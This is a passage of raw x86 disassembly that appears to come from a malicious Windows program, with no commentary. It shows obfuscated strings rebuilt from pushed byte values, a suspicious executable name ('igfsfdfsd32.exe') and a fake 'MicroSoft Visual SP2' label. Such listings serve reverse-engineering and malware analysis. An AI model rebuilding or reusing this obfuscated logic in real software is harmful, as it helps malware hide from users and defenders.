lea eax, [esp+35Ch+var_2C4]
lea ecx, [esp+35Ch+var_174]
push eax
call sub_40202C
lea ecx, [esp+35Ch+var_2DC]
push ecx
lea ecx, [esp+360h+var_1A4]
call sub_40202C
push offset byte_448F30
lea ecx, [esp+360h+var_1BC]
call sub_401A9B
push offset aM_0 ; "##m##"
lea ecx, [esp+360h+var_2AC]
call sub_401A9B
push offset aM ; "##m"
lea ecx, [esp+360h+var_24C]
call sub_401A9B
push offset aXkey ; "Xkey"
lea ecx, [esp+360h+var_2F4]
call sub_401A9B
push offset aIgfsfdfsd32_ex ; "igfsfdfsd32.exe"
lea ecx, [esp+360h+var_1D4]
call sub_401A9B
push offset aAyssds4ddklfsd ; "ayssds4ddklfsdf"
lea ecx, [esp+360h+var_204]
call sub_401A9B
push offset asc_444834 ; "X-"
lea ecx, [esp+360h+var_294]
call sub_401A9B
push offset aSet ; "set"
lea ecx, [esp+360h+var_234]
call sub_401A9B
push 0
push 4Ah
push 20h
push 48h
push 1Ch
push 4Bh
push 46h
push 4Ah
push 46h
push 47h
push 4Ch
push 1Fh
push 48h
push 1Fh
push ebx
push 1Bh
push 1Dh
push 47h
push 4Bh
push 47h
push ebx
push 45h
push 46h
push 4Ah
push 48h
push ebx
push 1Dh
push 1Ch
push 4Ah
push 20h
push 4Ch
push 4Dh
lea edx, [esp+3DCh+var_348]
push 44h
push edx
call sub_4019C4
add esp, 88h
push eax
lea ecx, [esp+360h+var_264]
mov byte ptr [esp+360h+var_4], 1Fh
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push offset aFeeling_nasty ; "feeling.nasty"
lea ecx, [esp+360h+var_E4]
call sub_401A9B
push offset aEvil ; "evil"
lea ecx, [esp+360h+var_15C]
call sub_401A9B
push offset aMicrosoftVisua ; "MicroSoft Visual SP2"
lea ecx, [esp+360h+var_114]
call sub_401A9B
push offset dword_4447F8
lea ecx, [esp+360h+var_27C]
call sub_401A9B
push 0
push 4Bh
push 48h
push 4Ah
push 47h
push 4Ch
push 48h
push 4Bh
push 48h
push 45h
lea eax, [esp+384h+var_348]
push 46h
push eax
call sub_4019C4
add esp, 30h
push eax
lea ecx, [esp+360h+var_18C]
mov byte ptr [esp+360h+var_4], 20h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 0Dh
push 0Fh
push 3
push 4Fh
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 0Dh
push 4Fh
push 46h
push 47h
push 0Dh
push 5
push 14h
push 13h
push 19h
lea ecx, [esp+3B4h+var_348]
push 13h
push ecx
call sub_4019C4
add esp, 60h
push eax
lea ecx, [esp+360h+var_1EC]
mov byte ptr [esp+360h+var_4], 21h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea edx, [esp+36Ch+var_348]
push 45h
push edx
call sub_4019C4
add esp, 18h
push eax
lea ecx, [esp+360h+var_CC]
mov byte ptr [esp+360h+var_4], 22h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea eax, [esp+36Ch+var_348]
push 45h
push eax
call sub_4019C4
add esp, 18h
push eax
lea ecx, [esp+360h+var_B4]
mov byte ptr [esp+360h+var_4], 23h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 44h
push 49h
push 46h
lea ecx, [esp+36Ch+var_348]
push ecx
call sub_4019C4
add esp, 14h
push eax
lea ecx, [esp+360h+var_21C]
mov byte ptr [esp+360h+var_4], 24h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea edx, [esp+36Ch+var_348]
push 45h
push edx
call sub_4019C4
add esp, 18h
push eax
lea ecx, [esp+360h+var_9C]
mov byte ptr [esp+360h+var_4], 25h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 5
push 15h
push 12h
lea eax, [esp+36Ch+var_348]
push 14h
push eax
call sub_4019C4
add esp, 18h
push eax
lea ecx, [esp+360h+var_330]
mov byte ptr [esp+360h+var_4], 26h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 5
push 13h
push 0Ch
push 1
lea ecx, [esp+370h+var_348]
push 6
push ecx
call sub_4019C4
add esp, 1Ch
push eax
lea ecx, [esp+360h+var_318]
mov byte ptr [esp+360h+var_4], 27h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
lea ecx, [esp+35Ch+var_2F4]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+374h+var_34C], esp
push eax
call sub_401870
push 0
push 13h
push 13h
push 1
push 10h
push 0Eh
push 1
push 8
mov byte ptr [esp+394h+var_4], 28h
push 3
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+3D0h+var_348]
push 13h
push edx
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+374h+var_4], 29h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+38Ch+var_350], esp
push eax
call sub_401870
lea eax, [esi+0FECh]
mov ecx, esi
push eax
mov byte ptr [esp+390h+var_4], 2Ah
call sub_401CD5
sub_4077E0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+0B0h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 0Eh
push 1
push 8
push 3
push 0Eh
push 9
push 1
push 0Dh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+88h]
push 13h
push ecx
mov byte ptr [esp+3D4h], 2Bh
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 2Ch
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edx, [esi+1035h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 2Dh
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+80h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 14h
push 12h
push 0Fh
push 10h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+78h]
push 13h
push eax
mov byte ptr [esp+3C4h], 2Eh
call sub_4019C4
add esp, 54h
mov ecx, eax
mov byte ptr [esp+370h], 2Fh
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea ecx, [esi+0FA3h]
mov byte ptr [esp+388h], 30h
push ecx
mov ecx, esi
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+98h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
mov byte ptr [esp+394h], 31h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+80h]
push 13h
push edx
call sub_4019C4
add esp, 5Ch
mov ecx, eax
mov byte ptr [esp+370h], 32h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea eax, [esi+0F5Ah]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 33h
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+0C8h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 18h
push 9
push 6
push 5
push 12h
push 10h
push 0Bh
push 3
push 9
push 0Eh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+90h]
push 13h
push ecx
mov byte ptr [esp+3DCh], 34h
call sub_4019C4
add esp, 6Ch
mov ecx, eax
mov byte ptr [esp+370h], 35h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edi, [esi+0E7Fh]
mov ecx, esi
push edi
mov byte ptr [esp+38Ch], 36h
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+218h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 13h
push 13h
push 1
push 10h
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+88h]
push 13h
push edx
mov byte ptr [esp+3D4h], 37h
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 38h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea eax, [esi+0F11h]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 39h
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+44h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 0Ch
push 13h
push 13h
push 3Fh
push 5
mov byte ptr [esp+388h], 3Ah
push 13h
push 15h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+84h]
push 13h
push ecx
call sub_4019C4
add esp, 60h
mov ecx, eax
mov byte ptr [esp+370h], 3Bh
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edx, [esi+107Eh]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 3Ch
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea eax, [esp+10h]
mov ecx, offset byte_4D834F
push eax
mov [esp+14h], edi
call sub_401A73
lea ecx, [esp+68h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 13h
push 13h
push 1
push 10h
push 0Eh
push 1
push 8
push 3
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+88h]
push 13h
push ecx
mov byte ptr [esp+3D4h], 3Dh
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 3Eh
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edx, [esi+1234h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 3Fh
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+0B0h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 0Eh
push 1
push 8
push 3
push 0Eh
push 9
push 1
push 0Dh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+88h]
push 13h
push eax
mov byte ptr [esp+3D4h], 40h
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 41h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea ecx, [esi+127Dh]
mov byte ptr [esp+388h], 42h
push ecx
mov ecx, esi
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+1B8h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
mov byte ptr [esp+370h], 43h
push 0
push 14h
push 12h
push 0Fh
push 10h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+78h]
push 13h
push edx
call sub_4019C4
add esp, 54h
mov ecx, eax
mov byte ptr [esp+370h], 44h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea eax, [esi+11EBh]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 45h
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+1E8h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+80h]
push 13h
push ecx
mov byte ptr [esp+3CCh], 46h
call sub_4019C4
add esp, 5Ch
mov ecx, eax
mov byte ptr [esp+370h], 47h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edx, [esi+11A2h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 48h
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+0C8h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 18h
push 9
push 6
push 5
push 12h
push 10h
push 0Bh
push 3
push 9
push 0Eh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+90h]
push 13h
push eax
mov byte ptr [esp+3DCh], 49h
call sub_4019C4
add esp, 6Ch
mov ecx, eax
mov byte ptr [esp+370h], 4Ah
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edi, [esi+10C7h]
mov ecx, esi
push edi
mov byte ptr [esp+38Ch], 4Bh
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+1A0h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
mov byte ptr [esp+370h], 4Ch
push 0
push 13h
push 13h
push 1
push 10h
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+88h]
push 13h
push ecx
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 4Dh
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edx, [esi+1159h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 4Eh
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+44h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 0Ch
push 13h
push 13h
push 3Fh
push 5
push 13h
push 15h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+84h]
push 13h
push eax
mov byte ptr [esp+3D0h], 4Fh
call sub_4019C4
add esp, 60h
mov ecx, eax
mov byte ptr [esp+370h], 50h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea ecx, [esi+12C6h]
mov byte ptr [esp+388h], 51h
push ecx
mov ecx, esi
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea edx, [esp+10h]
mov ecx, offset byte_4D834F
push edx
mov [esp+14h], edi
call sub_401A73
push offset byte_448F30
push offset word_4E8E5A
call sub_40102D
add esp, 8
lea ecx, [esp+230h]
call sub_40142E
lea ecx, [esp+260h]
mov byte ptr [esp+358h], 52h
call sub_40142E
push 56D2h
push 539h
mov byte ptr [esp+360h], 53h
call sub_4021C6
; ---------------------------------------------------------------------------
push eax
lea eax, [esp+23Ch]
push offset dword_4447F4
push eax
call sub_40102D
push 56D2h
push 539h
call sub_4021C6
; ---------------------------------------------------------------------------
push eax
lea ecx, [esp+280h]
push offset dword_4447F4
push ecx
call sub_40102D
add esp, 10h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+606h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+64Fh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+805h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+84Eh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+897h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+450h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+5Ch]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+499h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+52Bh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+574h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+0B28h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+5Ch]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+8E0h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+278h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+3BEh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+1E8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+407h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+260h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+5BDh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+188h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+698h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+158h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+72Ah]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+128h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+6E1h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+2C0h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+773h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+2A8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+7BCh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push offset word_4E8E5A
call sub_4014D3
lea ecx, [esi+251h]
push ecx
mov ecx, esi
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+1A0h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+29Ah]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+170h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+2E3h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+0F8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+32Ch]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+248h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+375h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
push 0
mov ecx, offset byte_4D834F
call sub_401474
mov ecx, [eax]
add ecx, 16Dh
call sub_4017EE
push eax
push offset byte_4493ED
mov ecx, offset word_44ACD6
call sub_4015A0
push 0
mov ecx, offset byte_4D834F
call sub_401474
mov ecx, [eax]
add ecx, 1B6h
call sub_4017EE
push eax
push offset dword_4493A4
mov ecx, offset word_44ACD6
call sub_4015A0
push 0
mov ecx, offset byte_4D834F
call sub_401474
mov ecx, [eax]
call sub_4017EE
push eax
push offset dword_449280
mov ecx, offset word_44ACD6
call sub_4015A0
push 0
mov ecx, offset byte_4D834F
call sub_401474
mov ecx, [eax]
add ecx, 124h
call sub_4017EE
push eax
push offset word_449312
mov ecx, offset word_44ACD6
call sub_4015A0
push 0
mov ecx, offset byte_4D834F
call sub_401474
mov ecx, [eax]
add ecx, 0DBh
call sub_4017EE
push eax
push offset byte_4492C9
mov ecx, offset word_44ACD6
call sub_4015A0
push 0
mov ecx, offset byte_4D834F
call sub_401474
mov ecx, [eax]
add ecx, 92h
call sub_4017EE
push eax
push offset byte_44935B
mov ecx, offset word_44ACD6
call sub_4015A0
push 0
mov ecx, offset byte_4D834F
call sub_401474
mov ecx, [eax]
add ecx, 1FFh
call sub_4017EE
push eax
push offset byte_44947F
mov ecx, offset word_44ACD6
call sub_4015A0
lea ecx, [esp+200h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
lea ecx, [esp+290h]
mov byte ptr [esp+370h], 54h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+94h], esp
push eax
call sub_401870
lea ecx, [esp+128h]
mov byte ptr [esp+388h], 55h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+0A4h], esp
push eax
call sub_401870
lea ecx, [esp+170h]
mov byte ptr [esp+3A0h], 56h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+0C0h], esp
push eax
call sub_401870
mov ecx, offset word_44AC5E
mov byte ptr [esp+3B8h], 53h
call sub_40137F
; ---------------------------------------------------------------------------
lea ecx, [esp+260h]
mov byte ptr [esp+358h], 52h
call sub_401226
lea ecx, [esp+230h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+44h]
mov byte ptr [esp+358h], 1Dh
call sub_401226
lea ecx, [esp+2Ch]
mov byte ptr [esp+358h], 1Ch
call sub_401226
lea ecx, [esp+110h]
mov byte ptr [esp+358h], 1Bh
call sub_401226
lea ecx, [esp+2C0h]
mov byte ptr [esp+358h], 1Ah
call sub_401226
lea ecx, [esp+2A8h]
mov byte ptr [esp+358h], 19h
call sub_401226
lea ecx, [esp+140h]
mov byte ptr [esp+358h], 18h
call sub_401226
lea ecx, [esp+290h]
mov byte ptr [esp+358h], 17h
call sub_401226
lea ecx, [esp+170h]
mov byte ptr [esp+358h], 16h
call sub_401226
lea ecx, [esp+0E0h]
mov byte ptr [esp+358h], 15h
call sub_401226
lea ecx, [esp+1A0h]
mov byte ptr [esp+358h], 14h
call sub_401226
lea ecx, [esp+218h]
mov byte ptr [esp+358h], 13h
call sub_401226
lea ecx, [esp+1D0h]
mov byte ptr [esp+358h], 12h
call sub_401226
lea ecx, [esp+248h]
mov byte ptr [esp+358h], 11h
call sub_401226
lea ecx, [esp+200h]
mov byte ptr [esp+358h], 10h
call sub_401226
lea ecx, [esp+278h]
mov byte ptr [esp+358h], 0Fh
call sub_401226
lea ecx, [esp+0F8h]
mov byte ptr [esp+358h], 0Eh
call sub_401226
lea ecx, [esp+128h]
mov byte ptr [esp+358h], 0Dh
call sub_401226
lea ecx, [esp+2F0h]
mov byte ptr [esp+358h], 0Ch
call sub_401226
lea ecx, [esp+320h]
mov byte ptr [esp+358h], 0Bh
call sub_401226
lea ecx, [esp+2D8h]
mov byte ptr [esp+358h], 0Ah
call sub_401226
lea ecx, [esp+308h]
mov byte ptr [esp+358h], 9
call sub_401226
lea ecx, [esp+338h]
mov byte ptr [esp+358h], 8
call sub_401226
lea ecx, [esp+0C8h]
mov byte ptr [esp+358h], 7
call sub_401226
lea ecx, [esp+158h]
mov byte ptr [esp+358h], 6
call sub_401226
lea ecx, [esp+188h]
mov byte ptr [esp+358h], 5
call sub_401226
lea ecx, [esp+68h]
mov byte ptr [esp+358h], 4
call sub_401226
lea ecx, [esp+0B0h]
mov byte ptr [esp+358h], 3
call sub_401226
lea ecx, [esp+1B8h]
mov byte ptr [esp+358h], 2
call sub_401226
lea ecx, [esp+1E8h]
mov byte ptr [esp+358h], 1
call sub_401226
lea ecx, [esp+80h]
mov byte ptr [esp+358h], 0
call sub_401226
lea ecx, [esp+98h]
mov dword ptr [esp+358h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+350h]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
add esp, 350h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 5E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409530 proc near ; CODE XREF: sub_401474j
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_401983
mov edi, [esp+8+arg_0]
cmp eax, edi
ja short loc_409548
mov ecx, esi
call sub_40191A
; ---------------------------------------------------------------------------
loc_409548: ; CODE XREF: sub_409530+Fj
mov ecx, esi
call sub_401A46
lea eax, [eax+edi*4]
pop edi
pop esi
retn 4
sub_409530 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409570 proc near ; CODE XREF: sub_401A73j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40128A
push eax
mov ecx, esi
call sub_401695
pop esi
retn 4
sub_409570 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4095A0 proc near ; CODE XREF: sub_401A46j
mov eax, [ecx+4]
retn
sub_4095A0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4095C0 proc near ; CODE XREF: sub_40128Aj
mov eax, [ecx+8]
retn
sub_4095C0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4095E0 proc near ; CODE XREF: sub_401983j
mov edx, [ecx+4]
test edx, edx
jnz short loc_4095EA
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4095EA: ; CODE XREF: sub_4095E0+5j
mov eax, [ecx+8]
sub eax, edx
sar eax, 2
retn
sub_4095E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409610 proc near ; CODE XREF: sub_401695j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, ecx
call sub_401A46
mov edx, [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
push edx
mov esi, eax
push 1
